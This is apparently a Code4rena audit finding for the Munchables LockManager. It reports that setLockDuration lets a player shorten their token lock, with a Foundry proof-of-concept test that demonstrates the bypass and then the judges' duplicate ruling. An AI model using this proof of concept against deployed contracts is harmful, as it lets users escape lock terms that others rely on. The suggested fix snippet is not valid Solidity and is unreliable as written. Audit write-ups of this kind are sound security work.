Platform: Code4rena
Start Date: 22/05/2024
Pot Size: $20,000 USDC
Total HM: 6
Participants: 126
Period: 5 days
Judge: 0xsomeone
Total Solo HM: 1
Id: 379
League: ETH
Rank: 93/126
Findings: 1
Award: $0.01
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: SpicyMeatball
Also found by: 0rpse, 0xMosh, 0xblack_bird, 0xdice91, 0xhacksmithh, 0xleadwizard, 0xmystery, Audinarey, AvantGard, Bigsam, Dots, EPSec, Eeyore, Janio, Limbooo, LinKenji, Mahmud, MrPotatoMagic, Myd, Oxsadeeq, Sabit, SovaSlava, Stefanov, Tychai0s, Utsav, Varun_05, Walter, adam-idarrha, ahmedaghadi, araj, aslanbek, ayden, bigtone, c0pp3rscr3w3r, carrotsmuggler, crypticdefense, dhank, fyamf, gajiknownnothing, gavfu, itsabinashb, jasonxiale, joaovwfreire, ke1caM, leegh, merlinboii, mitko1111, n4nika, pfapostol, prapandey031, rouhsamad, sandy, snakeeaterr, stakog, steadyman, swizz, tedox, th3l1ghtd3m0n, trachev, turvy_fuzz, xyz, yashgoel72, zhaojohnson
0.0105 USDC - $0.01
The UnlockTime variable of a player lock can be reduced by the player, this bug was listed as one of the 'Attack Ideas(https://code4rena.com/audits/2024-05-munchables#top)'.The issue is caused solely due to lack of proper-validation in the setLockDuration method .ie the method doesn't validate the newUnlock time against the former it just checks if the current timestamp+ new duration is greater than the unlocktime which would allow users to reduce their lock time.Check the POC.
/***
/**
*/
contract LockManagerTest is Test { address private USDB = 0x4300000000000000000000000000000000000003; address private WETH; MockAccountManager private account_manager; MockOverlord private overlord; ConfigStorage private config; LockManager private lockmanager; address private Bob = 0xaAaaaAAAFfe404EE9433EEf0094b6382D81fb958;
constructor() { vm.createSelectFork(vm.envString("BLAST_RPC_URL")); config = new ConfigStorage(); account_manager = new MockAccountManager(); overlord = new MockOverlord(); _init(); } function _init() internal { config.setAddress( StorageKey.AccountManager, address(account_manager), false ); config.setAddress(StorageKey.NFTOverlord, address(overlord), false); config.setAddress(StorageKey.USDBContract, USDB, false); config.setUniversalRole(Role.Admin, address(this)); config.setUint(StorageKey.MaxLockDuration, 1e18, false); lockmanager = new LockManager(address(config)); _configureLockDrop(); ILockManager.ConfiguredToken memory _token = ILockManager .ConfiguredToken({ usdPrice: 1e18, nftCost: 1e17, decimals: 18, active: true }); lockmanager.configureToken(USDB, _token); } function _configureLockDrop() internal { ILockManager.Lockdrop memory _lock = ILockManager.Lockdrop({ start: uint32(block.timestamp - 10), end: uint32(block.timestamp + 30 days), minLockDuration: 30 days }); lockmanager.configureLockdrop(_lock); } function test_reduced_unlock_time() external { vm.startPrank(Bob); console.log("BOB'S BALANCE::[%s]", IERC20(USDB).balanceOf(Bob)); IERC20(USDB).approve(address(lockmanager), 1e18); lockmanager.lock(USDB, 1e18); //UNLOCK is due 30 days from now //but is there a way bob could reduce his unlock-time?? uint256 _unlockTime1 = lockmanager.getUnlockTime(Bob, USDB); console.log( "UNLOCK-TIMESTAMP OF BEFORE MANIPULATION:[%s]", _unlockTime1 ); //Bobs modified his lockDuration from the default 30 days to 15 days //after 15 days of locking his token .So Bob has equally reduced his lock time and can therefore unlock his tokens. _setNewDuration(Bob, 15 days, 15 days); uint256 _unlockTime2 = lockmanager.getUnlockTime(Bob, USDB); console.log("UNLOCK-TIMESTAMP AFTER MANIPUATION:[%s]", _unlockTime2); //Lastly check that the unlock time has been reduced. assertLe(_unlockTime2, _unlockTime1); } //Used to set a new duration for the user /** * * @param _user Player's address * @param _newDuration new duration to be set in the player setting * @param _fastForwardTo amount of seconds to 'warp into the future' */ function _setNewDuration( address _user, uint256 _newDuration, uint256 _fastForwardTo ) internal { vm.startPrank(_user); vm.warp(block.timestamp + _fastForwardTo); lockmanager.setLockDuration(_newDuration); vm.stopPrank(); }
}
contract MockOverlord { function addReveal(address, uint16) external {} }
contract MockAccountManager { function getPlayer( address _receipient ) external view returns (address _player, MunchablesCommonLib.Player memory player) { player.registrationDate = 1; _player = _receipient; }
function forceHarvest(address) external {}
}
//Original Snippet in the LockManager.setLockDuration if ( uint32(block.timestamp) + uint32(_duration) < lockedTokens[msg.sender][tokenContract].unlockTime ) { revert LockDurationReducedError(); } //Modified Snippet if ( uint256 formerLockStart=lockedTokens[msg.sender][tokenContract].lastLockTime; uint32(formerLockStart) + uint32(_duration) < lockedTokens[msg.sender][tokenContract].unlockTime ) { revert LockDurationReducedError(); }
Other
#0 - c4-judge
2024-06-04T12:41:47Z
alex-ppg marked the issue as duplicate of #89
#1 - c4-judge
2024-06-05T12:52:27Z
alex-ppg marked the issue as partial-75